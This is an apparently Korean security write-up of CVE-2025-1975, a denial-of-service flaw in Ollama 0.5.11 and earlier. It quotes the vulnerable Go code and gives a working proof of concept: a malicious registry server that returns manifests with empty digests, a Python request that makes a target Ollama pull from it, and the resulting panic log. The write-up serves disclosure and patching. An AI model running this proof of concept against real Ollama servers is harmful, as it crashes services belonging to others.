[하루한줄] CVE-2025-1975 : Ollama의 배열 인덱스 검증 미흡으로 인한 Denial of Service(DoS) 취약점

URL

Target

  • Ollama ≤ 0.5.11

Explain

취약점은 서버가 클라이언트의 요청에 의해 모델을 다운로드 받는 pull 요청을 처리하는 과정에서 발생합니다.

func PullModel(ctx context.Context, name string, regOpts *registryOptions, fn func(api.ProgressResponse)) error {
	mp := ParseModelPath(name) 

	// build deleteMap to prune unused layers
	deleteMap := make(map[string]struct{})
	manifest, _, err := GetManifest(mp)
	if errors.Is(err, os.ErrNotExist) {
		// noop
	} else if err != nil {
		slog.Warn("pulling model with bad existing manifest", "name", name, "error", err)
	} else {
		for _, l := range manifest.Layers {
			deleteMap[l.Digest] = struct{}{}
		}
		if manifest.Config.Digest != "" {
			deleteMap[manifest.Config.Digest] = struct{}{}
		}
	}

	if mp.ProtocolScheme == "http" && !regOpts.Insecure {
		return errInsecureProtocol
	}

	fn(api.ProgressResponse{Status: "pulling manifest"})

	manifest, err = pullModelManifest(ctx, mp, regOpts)
	if err != nil {
		return fmt.Errorf("pull model manifest: %s", err)
	}

	var layers []Layer
	layers = append(layers, manifest.Layers...)
	if manifest.Config.Digest != "" {
		layers = append(layers, manifest.Config)
	}

	skipVerify := make(map[string]bool)
	for _, layer := range layers {
		cacheHit, err := downloadBlob(ctx, downloadOpts{
			mp:      mp,
			digest:  layer.Digest,
			regOpts: regOpts,
			fn:      fn,
		})
		if err != nil {
			return err
		}
		skipVerify[layer.Digest] = cacheHit
		delete(deleteMap, layer.Digest)
	}

모델을 다운 받을 때 모델이 저장되어 있는 서버에서 모델에 대한 정보를 manifest를 통해 받아오게 됩니다. 이 때 manifest 안에 layer 정보가 있고 그 안에 digest 정보가 포함되어 downloadBlob 함수를 트리거 하게 됩니다.

// downloadBlob downloads a blob from the registry and stores it in the blobs directory
func downloadBlob(ctx context.Context, opts downloadOpts) (cacheHit bool, _ error) {

	fp, err := GetBlobsPath(opts.digest)
	if err != nil {
		return false, err
	}
	
	fi, err := os.Stat(fp)
	switch {
	case errors.Is(err, os.ErrNotExist):
	case err != nil:
		return false, err
	default:
		opts.fn(api.ProgressResponse{
			Status:    fmt.Sprintf("pulling %s", opts.digest[7:19]), // [1]
			Digest:    opts.digest,
			Total:     fi.Size(),
			Completed: fi.Size(),
		})

		return true, nil
	}

모델을 다운로드하는 과정에서 모델 정보를 처리할 때 digest의 길이가 0일 경우, [1]에서 disgest를 파싱할 때 DoS가 발생합니다.

다음과 같이 PoC 서버를 구현할 수 있습니다.

// server.go
package main

import "github.com/gin-gonic/gin"

func main() {
    gin.SetMode(gin.DebugMode)
    r := gin.Default()
    r.GET("/v2/zznq/code1/manifests/latest", func(c *gin.Context) {
        c.JSON(200, gin.H{
            "schemaVersion": 2,
            "mediaType":     "application/vnd.docker.distribution.manifest.v2+json",
            "config": gin.H{
                "mediaType": "application/vnd.docker.container.image.v1+json",
                "digest":    "",
                "size":      10},
            "layers": []any{
                gin.H{
                    "mediaType": "application/vnd.ollama.image.license",
                    "digest":    "",
                    "size":      10},
            },
        })
    })

    r.Run("localhost:8080")
}

위와 같이 서버를 실행한 뒤, 아래와 같이 요청을 보내면 크래시가 발생합니다.

import requests

requests.post("http://{target_ollama_sever}:11434/api/pull", json={"model": "http://{malicious_server}:8080/zznq/code1", "insecure": True})
  • Crash log:
2025/02/15 00:08:25 routes.go:1186: INFO server config env="map[HTTPS_PROXY: HTTP_PROXY: NO_PROXY: OLLAMA_DEBUG:false OLLAMA_FLASH_ATTENTION:false OLLAMA_GPU_OVERHEAD:0 OLLAMA_HOST:http://127.0.0.1:11434 OLLAMA_KEEP_ALIVE:5m0s OLLAMA_KV_CACHE_TYPE: OLLAMA_LLM_LIBRARY: OLLAMA_LOAD_TIMEOUT:5m0s OLLAMA_MAX_LOADED_MODELS:0 OLLAMA_MAX_QUEUE:512 OLLAMA_MODELS:/Users/whoami/.ollama/models OLLAMA_MULTIUSER_CACHE:false OLLAMA_NOHISTORY:false OLLAMA_NOPRUNE:false OLLAMA_NUM_PARALLEL:0 OLLAMA_ORIGINS:[http://localhost https://localhost http://localhost:* https://localhost:* http://127.0.0.1 https://127.0.0.1 http://127.0.0.1:* https://127.0.0.1:* http://0.0.0.0 https://0.0.0.0 http://0.0.0.0:* https://0.0.0.0:* app://* file://* tauri://* vscode-webview://*] OLLAMA_SCHED_SPREAD:false http_proxy: https_proxy: no_proxy:]"
time=2025-02-15T00:08:25.225-08:00 level=INFO source=images.go:432 msg="total blobs: 0"
time=2025-02-15T00:08:25.225-08:00 level=INFO source=images.go:439 msg="total unused blobs removed: 0"
time=2025-02-15T00:08:25.225-08:00 level=INFO source=routes.go:1237 msg="Listening on 127.0.0.1:11434 (version 0.5.11)"
time=2025-02-15T00:08:25.244-08:00 level=INFO source=types.go:130 msg="inference compute" id=0 library=metal variant="" compute="" driver=0.0 name="" total="10.7 GiB" available="10.7 GiB"
panic: runtime error: slice bounds out of range [:19] with length 0

goroutine 12 [running]:
github.com/ollama/ollama/server.downloadBlob({0x101739c40, 0x1400052c640}, {{{0x10133fc9a, 0x5}, {0x14000419c80, 0xe}, {0x14000419c8f, 0x4}, {0x14000419c94, 0x5}, ...}, ...})
    /Users/runner/work/ollama/ollama/server/download.go:478 +0x508
github.com/ollama/ollama/server.PullModel({0x101739c40, 0x1400052c640}, {0x14000419c80, 0x20}, 0x1400052ac00, 0x14000502450)
    /Users/runner/work/ollama/ollama/server/images.go:564 +0x600
github.com/ollama/ollama/server.(*Server).PullHandler.func1()
    /Users/runner/work/ollama/ollama/server/routes.go:593 +0x174
created by github.com/ollama/ollama/server.(*Server).PullHandler in goroutine 10
    /Users/runner/work/ollama/ollama/server/routes.go:580 +0x528

해당 취약점의 패치는 digest가 빈문자열인지 여부를 검사하도록 수정되었습니다.